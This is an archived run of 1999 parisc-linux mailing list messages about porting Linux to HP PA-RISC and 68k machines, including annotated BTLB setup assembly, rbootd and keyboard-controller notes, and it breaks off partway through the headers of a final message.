X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin Schulze <joey@finlandia.Infodrom.North.DE>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Searching for HP9000/425 and HP Apollo A1630 docs
Date: Mon, 25 Oct 1999 11:28:28 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <19991025112828.S4777@finlandia.infodrom.north.de>
Reply-To: Martin Schulze <joey@infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618581 27175 80.91.229.3 (22 Nov 2014 01:09:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:41 +0000 (UTC)
Cc: Peter De Schrijver <p2@ace.ulyssis.student.kuleuven.ac.be>
To: parisc-linux@thepuffingroup.com
Original-X-From: joey@finlandia.Infodrom.North.DE  Mon Oct 25 03:27:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id DAA03152
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 03:27:35 -0600
Original-Received: (qmail 4959 invoked by uid 15267); 25 Oct 1999 09:28:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4941 invoked from network); 25 Oct 1999 09:28:34 -0000
Original-Received: from surusoitto.infodrom.north.de (postfix@194.94.254.230)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 09:28:34 -0000
Original-Received: from finlandia.Infodrom.North.DE (finlandia.infodrom.north.de [194.94.254.226])
	by surusoitto.infodrom.north.de (Postfix) with ESMTP
	id 253E83B3D6; Mon, 25 Oct 1999 11:27:57 +0200 (CEST)
Original-Received: at Infodrom Oldenburg (/\##/\ Smail-3.2.0.102 1998-Aug-2 #2)
	by finlandia.Infodrom.North.DE
	via smail from stdin
	id <m11fgQW-000bAWC@finlandia.Infodrom.North.DE>
	for parisc-linux@thepuffingroup.com; Mon, 25 Oct 1999 11:28:28 +0200 (CEST) 
User-Agent: Mutt/1.0pre2i
Xref: news.gmane.org gmane.linux.ports.parisc:6245

Hi,

firstly, I'm sorry for being off-topic.  However, since some HP
employees are reading this list it was suggested that I ask here.

I have aquired two HP9000/425dl (processor: 68040/25) machines on
which I'd like to run Linux.  I'm working on it with a friend who's
got a similar machine, HP Apollo A1630 model 425t and a HP Apollo
A1630 model 400t with 68030 processor.  The machines have these
framebuffers: A1416A, A1924 and A1630.  At the moment we get the
machine boot but the kernel dies afterwards, for sure.

In order to get Linux support those boxes we would need hardware
documentation of these machines.  We would be *very* glad and thankful
if somebody from HP would remember these machines.

Regards,

	Joey

-- 
There are lies, statistics and benchmarks.


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Simen Thoresen <simen-tt@online.no>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] success rbooting 735!
Date: Mon, 25 Oct 1999 20:02:55 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <199910251802.UAA14420@online.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618582 27186 80.91.229.3 (22 Nov 2014 01:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: simen-tt@online.no  Mon Oct 25 12:06:04 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA05092
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 12:06:04 -0600
Original-Received: (qmail 7640 invoked by uid 15267); 25 Oct 1999 18:07:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6602 invoked from network); 25 Oct 1999 18:05:02 -0000
Original-Received: from pilt-s.online.no (HELO online.no) (148.122.208.18)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 18:05:02 -0000
Original-Received: from celeris (ti08a95-0493.dialup.online.no [130.67.47.237])
	by online.no (8.9.3/8.9.1) with SMTP id UAA14420
	for <parisc-linux@thepuffingroup.com>; Mon, 25 Oct 1999 20:02:25 +0200 (MET DST)
X-Sender: simen-tt@mail.online.no
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Xref: news.gmane.org gmane.linux.ports.parisc:6246

After applying the patch in rbootd-2.0-2.src.rpm from the 

ftp://puffin.external.hp.com/pub/parisc/binaries/SRPMS/ directory, my
rbootd server nicely serves Images to my 735 (In swapper task - not
syncing) :-)

Thanks, Alex!

I'll build a new kernel tomorrow, and post a bootlog if there is interest.

I'm currently mailing Peter Maydell <pmaydell@chiark.greenend.org.uk> (who
seems to have ported rbootd to linux, or atleast hosts the site) and am
trying to track down an bsd'ish maintainer, to let him/them have our patch.

-Simen
--
Kenny went to hell for your sins!

Er det ikke rart?
gnu Random ARTwork project - valinor.dolphinics.no:1080/~simentt/rart


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] comments for BTLB setup
Date: Mon, 25 Oct 1999 14:53:46 PDT
Lines: 153
Approved: news@gmane.org
Message-ID: <199910252153.OAA08622@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618582 27193 80.91.229.3 (22 Nov 2014 01:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rbradetich@uswest.net
Original-X-From: frowand@cup.hp.com  Mon Oct 25 15:52:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA05907
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 15:52:45 -0600
Original-Received: (qmail 7899 invoked by uid 15267); 25 Oct 1999 21:53:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7887 invoked from network); 25 Oct 1999 21:53:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 21:53:47 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by palrel1.hp.com (Postfix) with ESMTP
	id B385791F; Mon, 25 Oct 1999 14:53:46 -0700 (PDT)
Original-Received: (from frowand@localhost) by xsvr4.cup.hp.com (8.7.6/8.7.3) id OAA08622; Mon, 25 Oct 1999 14:53:46 -0700 (PDT)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6247

Ryan,

You didn't do too bad for a first shot at reading pa-risc assembly, but
let me help you out a bit.

you wrote (among other things...):

> /* Why are we setting up the BTLB?  */
> /* setup the BTLB.  XXX: This assumes a unified BTLB */
> ldo       128(%sp),%sp
> stw       %arg0, -128(%sp)
> stw       %arg1, -124(%sp)
> stw       %arg2, -120(%sp)
> stw       %arg3, -116(%sp)
> 
> /* What are we doing here? */
> ldo       0x388(%r0), %r1         ; What is the significance of 0x388?
>                                         ; 0x388 (Page C-3) Start of MEM_PDC[32-63]
> 
> ldwax  %r0(%r1), %r1       ; ldwax does not exist in PA-RISC 2.0??
>                            ; Do we need this statement??
> 
> ldo    18(%r0), %arg0      ; (Page C-4) MEM_PF_LEN (Checksum for MEM_POW_FAIL)
> ldo    1(%r0), %arg1       ; (Page C-4) MEM_POW_FAIL
> ldil   L%0xc0000, %arg3    ; What this significance of this statement?
> ldo    0(%r0), %arg2       ; (Page C-4) 0
> 
> ldil   L%0x00000000, %r22  ; Start of PAGE0 Data format (C-3)?
> stw    %r22, -52(%sp)
> 
> ldo    4096(0), %r22       ; What is the significance of 0x4096?
> stw    %r22, -56(%sp)      ; End of the PAGE0 Data format (C-3)?
> 
> ldil   L%0x03000000, %r22  ; What is the significance of 0x03000000?
> stw    %r22, -60(%sp)
> 
> ldo    0(%r0), %r22        ; We already stored 0 once ... Why again?
> stw    %r22, -64(%sp)
> 
> ldil   L%PA(.+12),%r2      ; Not sure what this is doing ..... 
> bv     %r0(%r1)            ; %r1 is set by ldil ...        
> ldo    R%PA(.+4)(%r2), %r2 ; No clue about this either ... (.+4)  -> pc-relative
> 
> /* Restore the origional values of %arg0 - %arg3 from the stack */
> ldw       -128(%sp), %arg0
> ldw       -124(%sp), %arg1
> ldw       -120(%sp), %arg2
> ldw       -116(%sp), %arg3
> ldo       -128(%sp), %sp



First, some notes that will provide some context for the comments in the
code below:


PDCE_PROC is the entry point for calling PDC, see the third paragraph in the
IO ARS chapter "PDC Procedures".  (This chapter is available at
http://devresource.hp.com/devresource/Docs/Refs/PDC32.pdf, which I got to 
from http://devresource.hp.com/devresource/Docs/DocLibrary.html#archrefs.)

For the argument passing conventions for PDCE_PROC, see section 1.3 and 1.4
of the "PDC Procedures" chapter.


> ldo 18(%r0), %arg0     ; (Page C-4) MEM_PF_LEN (Checksum for MEM_POW_FAIL)

ldo is loading an address offset of %r0 (zero) + displacement of 18 into
%arg0.  It is not loading data from the offset, it is loading the offset.
This is just putting a constant into the target register.


> ; ldwax does not exist in PA-RISC 2.0??

Some of the Mnemonics changes from 1.1 to 2.0, but the instruction is
still there.  See Table J-2 in "PA-RISC 2.0 Architecture" by Jerry
Kane for how they renamed instructions.


Useful references for really understanding what's going on here are
the "PA-RISC 1.1 Architecture and Instruction Set Reference Manual"
(look for Block TLB in the index) and PDC_BLOCK_TLB in the "PDC
Procedures" chapter of the IO ARS.

I don't know where Ryan got appendix C (the puffin links seem stale),
but the PA 2.0 version is on the devresource page I mentioned above.
The 2.0 version is the same for the specific reference I make in the
comments below.


Then the same code with comments (and to the peanut gallery, no, I would
not normally comment this profusely), should answer a lot of your
confusion:


        /* setup the BTLB.  XXX: This assumes a unified BTLB */
        ldo             128(30),30			;create a stack frame
        stw             26, -128(30)
        stw             25, -124(30)
        stw             24, -120(30)
        stw             23, -116(30)

        ldo             0x388(0), 1			; IO ARS p.C-3, C-6, MEM_PDC
        ldwax           0(1), 1				; get address of PDCE_PROC()

        ldo             18(0), 26			; arg0 - PDC_BLOCK_TLB()
        ldo             1(0), 25			; arg1 - Insert entry
        ldil            L%0xc0000, 23		; arg3 - virtual addr LSbits
											; should this be %L0xc0000000 ??
        ldo             0(0), 24			; arg2 - virtual addr MSbits
        ldil            L%0x00000000, 22
        stw             22, -52(30)			; arg4 - physical addr
        ldo             4096(0), 22
        stw             22, -56(30)			; arg5 - length in pages
        ldil            L%0x03000000, 22
        stw             22, -60(30)			; arg6 - entry info
											;        (access rights & ID)
        ldo              0(0), 22
        stw             22, -64(30)			; arg7 - slot 0
        ldil            L%PA(.+12), 2
        bv              0(1)    			; PDCE_CALL(PDC_BLOCK_TLB, ...)
        ldo             R%PA(.+4)(2), 2		; set return pointer to next
											; instruction

        ldo             0x388(0), 1
        ldwax           0(1), 1
        ldo             18(0), 26
        ldo             1(0), 25
        ldil            L%0xc0000, 23
        ldo             0(0), 24
        ldil            L%0x00000000, 22
        stw             22, -52(30)
        ldo             4096(0), 22
        stw             22, -56(30)
        ldil            L%0x03000000, 22
        stw             22, -60(30)
        ldo              2(0), 22
        stw             22, -64(30)			; arg7 - slot 2
        ldil            L%PA(.+12), 2
        bv              0(1)    			; PDCE_CALL(PDC_BLOCK_TLB, ...)
        ldo             R%PA(.+4)(2), 2

        comb,<>          0,28, blargh		; if (return value <> 0) blargh()
        ldw             -128(30), 26
        ldw             -124(30), 25
        ldw             -120(30), 24
        ldw             -116(30), 23
        ldo             -128(30),30



-Frank Rowand


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Rowand <frowand@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] comments for BTLB setup (no TABs)
Date: Mon, 25 Oct 1999 15:05:02 PDT
Lines: 157
Approved: news@gmane.org
Message-ID: <199910252205.PAA08931@xsvr4.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618582 27206 80.91.229.3 (22 Nov 2014 01:09:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:42 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: rbradetich@uswest.net
Original-X-From: frowand@cup.hp.com  Mon Oct 25 16:04:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA06130
	for <parisc-linux@puffin.external.hp.com>; Mon, 25 Oct 1999 16:04:05 -0600
Original-Received: (qmail 11928 invoked by uid 15267); 25 Oct 1999 22:05:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11921 invoked from network); 25 Oct 1999 22:05:08 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 25 Oct 1999 22:05:08 -0000
Original-Received: from xsvr4.cup.hp.com (xsvr4.cup.hp.com [15.0.68.169])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id SAA22277;
	Mon, 25 Oct 1999 18:04:16 -0400 (EDT)
Original-Received: (from frowand@localhost) by xsvr4.cup.hp.com (8.7.6/8.7.3) id PAA08931; Mon, 25 Oct 1999 15:05:02 -0700 (PDT)
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:6248


(Sorry all for the previous message, I use 4 column tabstops, the rest of
the world uses 8 column tabstops.  I took the tabs out this time.)

Ryan,

You didn't do too bad for a first shot at reading pa-risc assembly, but
let me help you out a bit.

you wrote (among other things...):

> /* Why are we setting up the BTLB?  */
> /* setup the BTLB.  XXX: This assumes a unified BTLB */
> ldo       128(%sp),%sp
> stw       %arg0, -128(%sp)
> stw       %arg1, -124(%sp)
> stw       %arg2, -120(%sp)
> stw       %arg3, -116(%sp)
> 
> /* What are we doing here? */
> ldo       0x388(%r0), %r1         ; What is the significance of 0x388?
>                                         ; 0x388 (Page C-3) Start of MEM_PDC[32-63]
> 
> ldwax  %r0(%r1), %r1       ; ldwax does not exist in PA-RISC 2.0??
>                            ; Do we need this statement??
> 
> ldo    18(%r0), %arg0      ; (Page C-4) MEM_PF_LEN (Checksum for MEM_POW_FAIL)
> ldo    1(%r0), %arg1       ; (Page C-4) MEM_POW_FAIL
> ldil   L%0xc0000, %arg3    ; What this significance of this statement?
> ldo    0(%r0), %arg2       ; (Page C-4) 0
> 
> ldil   L%0x00000000, %r22  ; Start of PAGE0 Data format (C-3)?
> stw    %r22, -52(%sp)
> 
> ldo    4096(0), %r22       ; What is the significance of 0x4096?
> stw    %r22, -56(%sp)      ; End of the PAGE0 Data format (C-3)?
> 
> ldil   L%0x03000000, %r22  ; What is the significance of 0x03000000?
> stw    %r22, -60(%sp)
> 
> ldo    0(%r0), %r22        ; We already stored 0 once ... Why again?
> stw    %r22, -64(%sp)
> 
> ldil   L%PA(.+12),%r2      ; Not sure what this is doing ..... 
> bv     %r0(%r1)            ; %r1 is set by ldil ...        
> ldo    R%PA(.+4)(%r2), %r2 ; No clue about this either ... (.+4)  -> pc-relative
> 
> /* Restore the origional values of %arg0 - %arg3 from the stack */
> ldw       -128(%sp), %arg0
> ldw       -124(%sp), %arg1
> ldw       -120(%sp), %arg2
> ldw       -116(%sp), %arg3
> ldo       -128(%sp), %sp



First, some notes that will provide some context for the comments in the
code below:


PDCE_PROC is the entry point for calling PDC, see the third paragraph in the
IO ARS chapter "PDC Procedures".  (This chapter is available at
http://devresource.hp.com/devresource/Docs/Refs/PDC32.pdf, which I got to 
from http://devresource.hp.com/devresource/Docs/DocLibrary.html#archrefs.)

For the argument passing conventions for PDCE_PROC, see section 1.3 and 1.4
of the "PDC Procedures" chapter.


> ldo 18(%r0), %arg0     ; (Page C-4) MEM_PF_LEN (Checksum for MEM_POW_FAIL)

ldo is loading an address offset of %r0 (zero) + displacement of 18 into
%arg0.  It is not loading data from the offset, it is loading the offset.
This is just putting a constant into the target register.


> ; ldwax does not exist in PA-RISC 2.0??

Some of the Mnemonics changes from 1.1 to 2.0, but the instruction is
still there.  See Table J-2 in "PA-RISC 2.0 Architecture" by Jerry
Kane for how they renamed instructions.


Useful references for really understanding what's going on here are
the "PA-RISC 1.1 Architecture and Instruction Set Reference Manual"
(look for Block TLB in the index) and PDC_BLOCK_TLB in the "PDC
Procedures" chapter of the IO ARS.

I don't know where Ryan got appendix C (the puffin links seem stale),
but the PA 2.0 version is on the devresource page I mentioned above.
The 2.0 version is the same for the specific reference I make in the
comments below.


Then the same code with comments (and to the peanut gallery, no, I would
not normally comment this profusely), should answer a lot of your
confusion:


        /* setup the BTLB.  XXX: This assumes a unified BTLB */
        ldo             128(30),30          ;create a stack frame
        stw             26, -128(30)
        stw             25, -124(30)
        stw             24, -120(30)
        stw             23, -116(30)

        ldo             0x388(0), 1         ; IO ARS p.C-3, C-6, MEM_PDC
        ldwax           0(1), 1             ; get address of PDCE_PROC()

        ldo             18(0), 26           ; arg0 - PDC_BLOCK_TLB()
        ldo             1(0), 25            ; arg1 - Insert entry
        ldil            L%0xc0000, 23       ; arg3 - virtual addr LSbits
                                            ; should this be %L0xc0000000 ??
        ldo             0(0), 24            ; arg2 - virtual addr MSbits
        ldil            L%0x00000000, 22
        stw             22, -52(30)         ; arg4 - physical addr
        ldo             4096(0), 22
        stw             22, -56(30)         ; arg5 - length in pages
        ldil            L%0x03000000, 22
        stw             22, -60(30)         ; arg6 - entry info
                                            ;        (access rights & ID)
        ldo              0(0), 22
        stw             22, -64(30)         ; arg7 - slot 0
        ldil            L%PA(.+12), 2
        bv              0(1)                ; PDCE_CALL(PDC_BLOCK_TLB, ...)
        ldo             R%PA(.+4)(2), 2     ; set return pointer to next
                                            ; instruction

        ldo             0x388(0), 1
        ldwax           0(1), 1
        ldo             18(0), 26
        ldo             1(0), 25
        ldil            L%0xc0000, 23
        ldo             0(0), 24
        ldil            L%0x00000000, 22
        stw             22, -52(30)
        ldo             4096(0), 22
        stw             22, -56(30)
        ldil            L%0x03000000, 22
        stw             22, -60(30)
        ldo              2(0), 22
        stw             22, -64(30)         ; arg7 - slot 2
        ldil            L%PA(.+12), 2
        bv              0(1)                ; PDCE_CALL(PDC_BLOCK_TLB, ...)
        ldo             R%PA(.+4)(2), 2

        comb,<>          0,28, blargh       ; if (return value <> 0) blargh()
        ldw             -128(30), 26
        ldw             -124(30), 25
        ldw             -120(30), 24
        ldw             -116(30), 23
        ldo             -128(30),30



-Frank Rowand


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] keyboards and such.
Date: Tue, 26 Oct 1999 08:56:54 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <19991026085653.A17980@suse.de>
References: <Pine.LNX.4.10.9910242258310.22118-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618583 27215 80.91.229.3 (22 Nov 2014 01:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: prumpf@suse.de  Tue Oct 26 00:55:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id AAA08071
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 00:55:53 -0600
Original-Received: (qmail 26350 invoked by uid 15267); 26 Oct 1999 06:56:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26340 invoked from network); 26 Oct 1999 06:56:55 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 06:56:55 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 801EA32CD4; Tue, 26 Oct 1999 08:56:54 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 73DB167A7; Tue, 26 Oct 1999 08:56:54 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 561)
	id 20F407F8B; Tue, 26 Oct 1999 08:56:54 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <Pine.LNX.4.10.9910242258310.22118-100000@vodka.thepuffingroup.com>; from Alex deVries on Sun, Oct 24, 1999 at 11:01:57PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:6249

> Does anyone have docs on how to speak to a standard AT or PS/2 keyboard?
> The Black Puffin of Death will haunt you if you point me to 8042
> controller docs.

what about looking at the current keyboard driver ?  It looks to me like it
shouldn't be too difficult to work from the assumption that kbd_read_input is
RCVDATA, kbd_read_status is STATUS, KBD_STAT_OBF is RBNE, KBD_STAT_IBF is TBNE,
KBD_STAT_MOUSE_OBF we don't need, KBD_STAT_GTO is TERR and KBD_STAT_PERR is
PERR.

looking at it again, the bit correlations are:

8042		Lasi
0-1		0-1
6-7		2-3
2-5		unimplemented
unimplemented	4-7

assuming there is a 8042-compatible chip inside lasi, it just seems to get the
line for bit 2 as both input line 2 and 3 (and there's some additional logic
around it).

	Philipp Rumpf


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Searching for HP9000/425 and HP Apollo A1630 docs
Date: Tue, 26 Oct 1999 09:02:54 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <199910261502.JAA13266@debian.fc.hp.com>
References: <19991025112828.S4777@finlandia.infodrom.north.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618583 27225 80.91.229.3 (22 Nov 2014 01:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com,
        Peter De Schrijver <p2@ace.ulyssis.student.kuleuven.ac.be>
To: Martin Schulze <joey@infodrom.north.de>
Original-X-From: bame@debian.fc.hp.com  Tue Oct 26 09:02:19 1999
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA09461
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 09:02:18 -0600
Original-Received: (qmail 18116 invoked by uid 15267); 26 Oct 1999 15:03:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18107 invoked from network); 26 Oct 1999 15:03:21 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 15:03:21 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA07997;
	Tue, 26 Oct 1999 09:02:56 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA22128; Tue, 26 Oct 1999 09:02:55 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA13266;
	Tue, 26 Oct 1999 09:02:54 -0600
In-reply-to: Your message of "Mon, 25 Oct 1999 11:28:28 +0200."
             <19991025112828.S4777@finlandia.infodrom.north.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6250


The best resource for the series 300 and 400 is probably the NetBSD
port.  I think they cover most of the machines you mention.

	-Paul Bame


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@debian.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Tue, 26 Oct 1999 09:50:37 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <199910261550.JAA13603@debian.fc.hp.com>
References: <Pine.LNX.4.10.9910241908180.21739-100000@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618583 27236 80.91.229.3 (22 Nov 2014 01:09:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:43 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: bame@debian.fc.hp.com  Tue Oct 26 09:49:36 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA09932
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 09:49:36 -0600
Original-Received: (qmail 7136 invoked by uid 15267); 26 Oct 1999 15:50:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7125 invoked from network); 26 Oct 1999 15:50:39 -0000
Original-Received: from hpfcla.fc.hp.com (15.254.48.2)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 15:50:39 -0000
Original-Received: from udlkern.fc.hp.com (root@udlkern.fc.hp.com [15.1.52.48])
	by hpfcla.fc.hp.com (8.9.1/8.9.1) with ESMTP id JAA15102;
	Tue, 26 Oct 1999 09:50:38 -0600 (MDT)
Original-Received: from debian.fc.hp.com (root@debian.fc.hp.com [15.1.48.119]) by udlkern.fc.hp.com with ESMTP (8.8.6 (PHNE_14041)/8.7.1) id JAA23025; Tue, 26 Oct 1999 09:50:37 -0600 (MDT)
Original-Received: from debian.fc.hp.com (bame@localhost [127.0.0.1])
	by debian.fc.hp.com (8.9.3/8.9.3/Debian/GNU) with ESMTP id JAA13603;
	Tue, 26 Oct 1999 09:50:37 -0600
In-reply-to: Your message of "Sun, 24 Oct 1999 19:08:42 EDT."
             <Pine.LNX.4.10.9910241908180.21739-100000@vodka.thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6251

= 
= Actually, this is pretty helpful.  Paul, would you consider licensing this
= under the GPL?
= 
= - Alex

Done.  Sources and HP-UX binary in the tarball at:

ftp://puffin.external.hp.com/pub/parisc/binaries/tgz/som_relocate.tar.gz

Has anyone confirmed that the kernel which is started is getting good
data (stack, etc...) or are my kernels booting purely by accident?

	-Paul Bame


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B132L console output
Date: Tue, 26 Oct 1999 14:04:56 -0700 (PDT)
Lines: 230
Approved: news@gmane.org
Message-ID: <199910262104.OAA03955@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618584 27246 80.91.229.3 (22 Nov 2014 01:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 26 15:03:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11395
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 15:03:30 -0600
Original-Received: (qmail 3343 invoked by uid 15267); 26 Oct 1999 21:04:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3332 invoked from network); 26 Oct 1999 21:04:33 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 21:04:33 -0000
Original-Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by cosrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id PAA08208
